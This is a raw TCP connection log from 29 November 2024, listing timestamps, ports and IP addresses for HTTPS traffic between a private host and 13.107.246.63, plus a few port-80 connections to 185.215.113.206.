Nov 29, 2024 19:49:29.367471933 CET	49745	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.367471933 CET	49745	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.367495060 CET	443	49745	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.367505074 CET	443	49745	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.370759964 CET	49751	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.370796919 CET	443	49751	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.371066093 CET	49751	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.371066093 CET	49751	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.371100903 CET	443	49751	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.494406939 CET	443	49747	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.494462013 CET	443	49747	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.494906902 CET	49747	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.494906902 CET	49747	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.495002031 CET	49747	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.495019913 CET	443	49747	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.498018980 CET	49752	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.498053074 CET	443	49752	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.498229980 CET	49752	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.498327971 CET	49752	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.498336077 CET	443	49752	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.593024969 CET	443	49748	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.593085051 CET	443	49748	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.593185902 CET	49748	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.593453884 CET	49748	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.593455076 CET	49748	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.593466043 CET	443	49748	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.593473911 CET	443	49748	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.596508980 CET	49753	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.596532106 CET	443	49753	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.596792936 CET	49753	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.596995115 CET	49753	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.597007990 CET	443	49753	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.791683912 CET	80	49726	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:29.792684078 CET	49726	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:31.018881083 CET	443	49749	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.019602060 CET	49749	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.019618988 CET	443	49749	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.020097017 CET	49749	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.020104885 CET	443	49749	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.129631996 CET	443	49750	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.130208969 CET	49750	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.130227089 CET	443	49750	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.130712032 CET	49750	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.130717039 CET	443	49750	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.152086020 CET	443	49751	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.152441025 CET	49751	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.152456999 CET	443	49751	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.152848959 CET	49751	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.152853966 CET	443	49751	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.279047012 CET	443	49752	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.287686110 CET	49752	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.287708044 CET	443	49752	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.288315058 CET	49752	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.288321018 CET	443	49752	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.378156900 CET	443	49753	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.379021883 CET	49753	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.379040956 CET	443	49753	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.379519939 CET	49753	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.379528999 CET	443	49753	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.485449076 CET	443	49749	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.485512972 CET	443	49749	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.485574961 CET	49749	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.485825062 CET	49749	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.485852003 CET	443	49749	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.485865116 CET	49749	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.485872984 CET	443	49749	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.489424944 CET	49755	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.489438057 CET	443	49755	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.489510059 CET	49755	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.489694118 CET	49755	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.489706993 CET	443	49755	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.585211039 CET	443	49750	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.585278034 CET	443	49750	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.585340977 CET	49750	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.585798979 CET	49750	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.585808039 CET	443	49750	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.585830927 CET	49750	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.585836887 CET	443	49750	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.592905998 CET	49756	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.592927933 CET	443	49756	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.592993021 CET	49756	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.593480110 CET	49756	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.593493938 CET	443	49756	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.597183943 CET	443	49751	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.597259045 CET	443	49751	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.597493887 CET	49751	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.598809004 CET	49751	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.598838091 CET	443	49751	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.598953009 CET	49751	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.598963022 CET	443	49751	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.604032993 CET	49757	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.604085922 CET	443	49757	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.604182959 CET	49757	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.604675055 CET	49757	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.604697943 CET	443	49757	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.732461929 CET	443	49752	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.732518911 CET	443	49752	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.733187914 CET	49752	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.733222008 CET	49752	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.733232975 CET	443	49752	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.733242989 CET	49752	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.733247042 CET	443	49752	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.736232042 CET	49758	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.736244917 CET	443	49758	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.736428976 CET	49758	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.736599922 CET	49758	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.736610889 CET	443	49758	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.822755098 CET	443	49753	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.822824955 CET	443	49753	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.823710918 CET	49753	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.823750973 CET	49753	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.823759079 CET	443	49753	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.823771000 CET	49753	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.823775053 CET	443	49753	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.826670885 CET	49759	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.826721907 CET	443	49759	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:31.826909065 CET	49759	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.827073097 CET	49759	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:31.827088118 CET	443	49759	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.205729008 CET	443	49755	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.206305981 CET	49755	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.206335068 CET	443	49755	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.206953049 CET	49755	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.206959963 CET	443	49755	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.320486069 CET	443	49756	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.321105957 CET	49756	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.321124077 CET	443	49756	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.321654081 CET	49756	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.321660042 CET	443	49756	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.321830034 CET	443	49757	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.322124004 CET	49757	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.322134018 CET	443	49757	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.322483063 CET	49757	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.322487116 CET	443	49757	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.519200087 CET	443	49758	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.519984961 CET	49758	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.519996881 CET	443	49758	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.520550966 CET	49758	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.520555019 CET	443	49758	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.642159939 CET	443	49755	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.642230988 CET	443	49755	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.642354012 CET	49755	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.642656088 CET	49755	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.642672062 CET	443	49755	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.642685890 CET	49755	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.642690897 CET	443	49755	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.646415949 CET	49761	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.646471024 CET	443	49761	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.646564007 CET	49761	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.646754026 CET	49761	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.646769047 CET	443	49761	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.683794022 CET	443	49759	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.693336964 CET	49759	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.693376064 CET	443	49759	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.693953037 CET	49759	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.693964005 CET	443	49759	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.755589008 CET	443	49756	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.755654097 CET	443	49756	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.755780935 CET	49756	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.755953074 CET	49756	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.755963087 CET	443	49756	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.755983114 CET	49756	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.755989075 CET	443	49756	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.756978035 CET	443	49757	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.757049084 CET	443	49757	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.757157087 CET	49757	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.757294893 CET	49757	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.757316113 CET	443	49757	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.757328033 CET	49757	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.757333994 CET	443	49757	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.759988070 CET	49762	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.760025024 CET	443	49762	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.760102034 CET	49762	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.760273933 CET	49762	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.760288954 CET	443	49762	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.761048079 CET	49763	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.761082888 CET	443	49763	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.761178017 CET	49763	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.761332035 CET	49763	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.761344910 CET	443	49763	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.964174986 CET	443	49758	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.964242935 CET	443	49758	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.964396000 CET	49758	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.964768887 CET	49758	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.964782000 CET	443	49758	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.964793921 CET	49758	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.964799881 CET	443	49758	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.968660116 CET	49764	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.968699932 CET	443	49764	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:33.968790054 CET	49764	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.969000101 CET	49764	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:33.969014883 CET	443	49764	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:34.140360117 CET	443	49759	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:34.140427113 CET	443	49759	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:34.140719891 CET	49759	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:34.140765905 CET	49759	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:34.140794039 CET	443	49759	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:34.140805006 CET	49759	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:34.140811920 CET	443	49759	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:34.143840075 CET	49765	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:34.143872023 CET	443	49765	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:34.143990040 CET	49765	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:34.144143105 CET	49765	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:34.144154072 CET	443	49765	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.431654930 CET	443	49761	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.437192917 CET	49761	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.437215090 CET	443	49761	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.440671921 CET	49761	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.440676928 CET	443	49761	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.565063000 CET	443	49763	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.587970972 CET	49763	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.587986946 CET	443	49763	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.592329979 CET	49763	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.592336893 CET	443	49763	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.613544941 CET	443	49762	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.617783070 CET	49762	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.617799997 CET	443	49762	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.626003981 CET	49762	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.626008034 CET	443	49762	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.685240030 CET	443	49764	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.687525988 CET	49764	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.687557936 CET	443	49764	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.688311100 CET	49764	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.688316107 CET	443	49764	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.878727913 CET	443	49761	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.878807068 CET	443	49761	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.878870964 CET	49761	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.881889105 CET	49761	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.881911039 CET	443	49761	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.881920099 CET	49761	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.881926060 CET	443	49761	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.923125982 CET	49767	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.923161030 CET	443	49767	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.923255920 CET	49767	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.929032087 CET	49767	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.929044962 CET	443	49767	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.990547895 CET	443	49765	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.991099119 CET	49765	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.991120100 CET	443	49765	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:35.991817951 CET	49765	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:35.991827011 CET	443	49765	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.009507895 CET	443	49763	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.009563923 CET	443	49763	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.009605885 CET	49763	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.009872913 CET	49763	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.009886980 CET	443	49763	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.009907961 CET	49763	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.009913921 CET	443	49763	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.013606071 CET	49768	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.013639927 CET	443	49768	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.013720036 CET	49768	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.013851881 CET	49768	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.013871908 CET	443	49768	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.067854881 CET	443	49762	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.067923069 CET	443	49762	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.068064928 CET	49762	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.068348885 CET	49762	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.068348885 CET	49762	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.068360090 CET	443	49762	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.068368912 CET	443	49762	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.071619987 CET	49769	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.071640015 CET	443	49769	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.071722031 CET	49769	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.071897030 CET	49769	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.071908951 CET	443	49769	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.120923042 CET	443	49764	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.120980978 CET	443	49764	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.121038914 CET	49764	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.121280909 CET	49764	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.121295929 CET	443	49764	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.121306896 CET	49764	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.121315956 CET	443	49764	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.124305010 CET	49770	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.124326944 CET	443	49770	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.124392986 CET	49770	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.124550104 CET	49770	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.124563932 CET	443	49770	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.444101095 CET	443	49765	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.444165945 CET	443	49765	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.444225073 CET	49765	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.444427967 CET	49765	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.444427967 CET	49765	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.444448948 CET	443	49765	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.444462061 CET	443	49765	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.450376034 CET	49771	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.450395107 CET	443	49771	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.450464964 CET	49771	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.450721979 CET	49771	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:36.450737953 CET	443	49771	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:36.492916107 CET	49726	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:36.493932009 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:36.612951994 CET	80	49726	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:36.614005089 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:36.614139080 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:36.614392996 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:36.741631031 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:37.776201010 CET	443	49767	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:37.779642105 CET	49767	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:37.779668093 CET	443	49767	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:37.780168056 CET	49767	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:37.780174017 CET	443	49767	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:37.787971973 CET	443	49769	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:37.788589954 CET	49769	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:37.788608074 CET	443	49769	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:37.789072037 CET	49769	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:37.789077044 CET	443	49769	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:37.794986963 CET	443	49768	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:37.796133995 CET	49768	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:37.796148062 CET	443	49768	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:37.803307056 CET	49768	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:37.803318024 CET	443	49768	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:37.975486040 CET	443	49770	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:37.976114988 CET	49770	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:37.976125956 CET	443	49770	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:37.976650000 CET	49770	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:37.976653099 CET	443	49770	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:38.225945950 CET	443	49769	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:38.226011992 CET	443	49769	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:38.227475882 CET	49769	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:38.233247995 CET	49769	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:38.233258009 CET	443	49769	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:38.237816095 CET	443	49767	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:38.237893105 CET	443	49767	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:38.237968922 CET	49767	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:38.242461920 CET	443	49768	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:38.242502928 CET	443	49768	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:38.242552996 CET	49768	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:38.250184059 CET	49768	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:38.250195026 CET	443	49768	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:38.250206947 CET	49768	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:38.250212908 CET	443	49768	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:38.251044035 CET	49767	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:38.251044035 CET	49767	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:38.251071930 CET	443	49767	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:38.251082897 CET	443	49767	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:38.253212929 CET	49773	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:38.253245115 CET	49774	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:38.253252983 CET	443	49773	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:38.253268957 CET	443	49774	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:38.253323078 CET	49773	443	192.168.2.5	13.107.246.63
